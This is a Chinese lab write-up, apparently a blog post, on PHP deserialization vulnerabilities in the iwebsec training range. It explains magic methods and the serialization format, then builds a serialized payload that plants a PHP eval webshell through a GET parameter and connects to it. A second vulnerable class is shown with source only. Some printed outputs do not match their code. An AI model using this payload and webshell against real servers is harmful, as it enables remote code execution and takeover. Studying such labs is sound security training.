iwebsec靶场(PHP反序列化)

iwebsec靶场(PHP反序列化)

一、PHP Magic 方法

  • PHP类中一般会包含一些特殊的函数叫做magic函数,这些函数以双斜划线开始,他们的主要作用是在某些情况下。自动调用,以保证程序的健壮性,但也是由于这些方法的自动调用,使得程序在一些情况下存在漏洞

    1.__construct():类的构造函数
    2.__destruct():类的析构函数
    3.__call():在对象中调用一个不可访问方法时调用
    4.__callStatic():用静态方式中调用一个不可访问方法时调用
    5.__get():获得一个类的成员变量时调用
    6.__set():设置一个类的成员变量时调用
    7.__isset():当对不可访问属性调用isset()或empty()时调用
    8.__unset():当对不可访问属性调用unset()时被调用。
    9.__sleep():执行serialize()时:先会调用这个函数
    10.__wakeup():执行unserialize()时:先会调用这个函数
    11.__toString():类被当成字符串时的回应方法
    12.__invoke():调用函数的方式调用一个对象时的回应方法
    13.__set_state():调用var_export()导出类时:此静态方法会被调用。
    14.__clone():当对象复制完成时调用
    15.__autoload():尝试加载未定义的类
    16.__debugInfo():打印所需调试信息
    

二、序列化

  • php序列化的函数为serialize(),就是把一个类的实例变成一个字符串;序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

  • 举个例子

    <?php
        class hack{
            public $name = "glc";
            protected $sex = "man";
            private $age = "18";
        }
        $a = new hack;
        echo serialize($a);
    ?>
    

    输出结果

    O:4:"hack":3:{s:4:"name";s:3:"glc";s:6:" * sex";s:3:"man";s:9:" hack age";s:2:"18";}
    
    O:表示对象(object)
    4:对象名称的长度
    hack:对象名称
    3:表示对象里属性的个数
    s:属性名类型
    4:属性名长度
    name:属性的名称
    s:属性值的类型
    3:属性值的长度
    glc:属性值
    s:属性名类型
    6:属性名长度
    *sex:属性的名称
    s:属性值的类型
    3:属性值的长度
    man:属性值
    s:属性名类型
    9:属性名长度
    hack age:属性的名称
    s:属性值的类型
    2:属性值的长度
    18:属性值
    
    public(公有):属性被序列化的时候属性名还是原来的属性名,没有任何改变
    protected(受保护):属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
    private(私有):属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变
    
    注:这里的%00也就是表示空字符,在url中用%00表示,在hex中表示\x00
    Tip:%00和\x00也就是我们常说的00截断
    
  • 在序列化对象时,如果对象存在有__sleep魔术方法,那么,在序列化对象时__sleep魔术方法会优先调用,然后再继续执行序列化操作

    <?php
    class peak{
        public $name = "1stPeak";
        public $sex = "man";
        public $age = "18";
        public function __sleep(){
            return array('age');
        }
    }
    $a = new peak;
    echo serialize($a);
    ?>
    

    输出结果

    O:4:"hack":1:{s:9:" hack age";s:2:"18";}
    
    只要序列化时执行了__sleep,就只会序列化__sleep中的属性
    

三、反序列化

  • php反序列化的函数为unserialize(),用于将单一的已序列化的变量转换回 PHP 的值

  • 举个例子

    <?php
        $object = 'O:4:"hack":3:{s:4:"name";s:3:"glc";s:6:" * sex";s:3:"man";s:9:" hack age";s:2:"18";}';
        $glc = unserialize($object);
        print_r($glc);
    ?>
    

    输出结果

    __PHP_Incomplete_Class Object
    (
        [__PHP_Incomplete_Class_Name] => hack
        [name] => glc
        [ * sex] => man
        [ hack age] => 18
    )
    
  • 当使用 unserialize()反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法

四、靶场地址:http://iwebsec.com/

五、反序列化漏洞示例01

1.代码分析
<?php

  require_once('../../header.php');
  ?>
<html>
    <head>
        <title>反序列化漏洞</title>
    </head>
    <h2>反序列化漏洞</h2>
        <div class="alert alert-success">
            <p>/index.php?re=hello </p>
        </div>
    <body>
        
<?php
    highlight_file(__FILE__);			#对文件进行语法高亮显示
    class a {							#创建一个名为a的类
        var $test = 'hello';			#定义一个变量并赋值
        function __destruct(){			#在类的一个对象被删除时自动调用
            
            #fopen() 函数打开文件;写入方式打开
            $fp = fopen("/var/www/html/vuln/unserialize/01/hello.php","w");
            
            #fputs() 函数写入文件;把test的内容写入文件$fp处
            fputs($fp,$this->test);
            
            #fclose() 函数关闭一个打开文件
            fclose($fp);
        }
    }
    #stripslashes() 函数删除由 addslashes() 函数添加的反斜杠
    #通过GET方式将re的值赋给变量class
    $class = stripslashes($_GET['re']);
    #将class进行反序列化
    $class_unser = unserialize($class);
    require '/var/www/html/vuln/unserialize/01/hello.php';
    require_once '../../footer.php';
?>
2.修改文件
  • 我们进入docker发现并不存在/var/www/html/vuln/unserialize/01/hello.php这个文件,所以想要反序列化成功,必修将文件的路径修改为/var/www/html/unserialize/01/hello.php

  • 查看运行的docker容器
docker ps

请添加图片描述

  • 进入docker容器
docker exec -it containerid /bin/bash

请添加图片描述

  • 修改源码
vim /var/www/html/unserialize/01/index.php

将下图中的位置改为/var/www/html/unserialize/01/hello.php

请添加图片描述

3.构造payload
  • 生成序列化后的payload

    <?php
    class a{
        var $test = '<?php @eval($_POST[glc])?>';
    }
    $b = new a;
    echo serialize($b);
    ?>
    
  • 输出结果

    O:1:"a":1:{s:4:"test";s:26:"<?php @eval($_POST[cmd])?>";}
    
  • 在url中通过re传参

    /unserialize/01/index.php?re=O:1:"a":1:{s:4:"test";s:26:"<?php%20@eval($_POST[cmd])?>";}
    
4.利用
  • 访问:http://192.168.153.130/unserialize/01/hello.php

    请添加图片描述

  • 连接shell

    请添加图片描述

六、反序列化漏洞示例02

1.代码分析
<?php

  require_once('../../header.php');
  ?>
<html>
    <head>
        <title>反序列化漏洞</title>
    </head>
    <h2>反序列化漏洞</h2>
        <div class="alert alert-success">
            <p>/index.php?data=hello </p>
        </div>
    <body>
<?php

include "config.php";   #在服务器执行它之前,可以将PHP文件的内容插入另一个PHP文件,只生成警告,并且脚本会继续

class WEB{				#创建一个WEB类
    #定义私有对象
    private $method;
    private $args;
    private $conn;

    #对象创建完成后自动调用
    public function __construct($method, $args) {
        #赋值
        $this->method = $method;
        $this->args = $args;
        
		#执行__conn方法
        $this->__conn();
    }

    #定义show方法
    function show() {
        #list() 函数用于在一次操作中给一组变量赋值
        #func_get_args()函数获得参数列表
        #给列表的username赋值为参数列表
        list($username) = func_get_args();
        #sprintf把百分号(%)符号替换成一个作为参数进行传递的变量,%s是字符串形式
        #将$username转为字符串形式,插入到下面的sql语句
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
        #将__query中的sql赋值给obj
        $obj = $this->__query($sql);
        
        if ( $obj != false  ) {
            #将obj中的username和role的值转为字符串形式,当作参数,传递给__die方法并执行该方法
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("error!");
        }
        
    }

    #定义login方法
    function login() {
        #定义一个全局变量
        global $FLAG;

        #给列表的username,password赋值为参数列表
        list($username, $password) = func_get_args();
        #strtolower把所有字符转换为小写
        #trim移除字符串两侧的字符
        #mysql_escape_string将特殊字符转义
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));
		
        #将username和password的值转为字符串形式,插入到sql语句,并赋值给sql
        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        #stripos返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE
        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }

    function source() {
        highlight_file(__FILE__);
    }

    #定义__conn方法
    function __conn() {
        #定义全局变量
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        
        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);

            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        } 

        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }

    function __die($msg) {
        $this->__close();

        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysql_close($this->conn);
    }

    function __destruct() {
   $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }

        $this->__close();
    }

    function __wakeup() {
		foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}
#
if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new WEB("source", array());
}
require_once '../../footer.php';
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值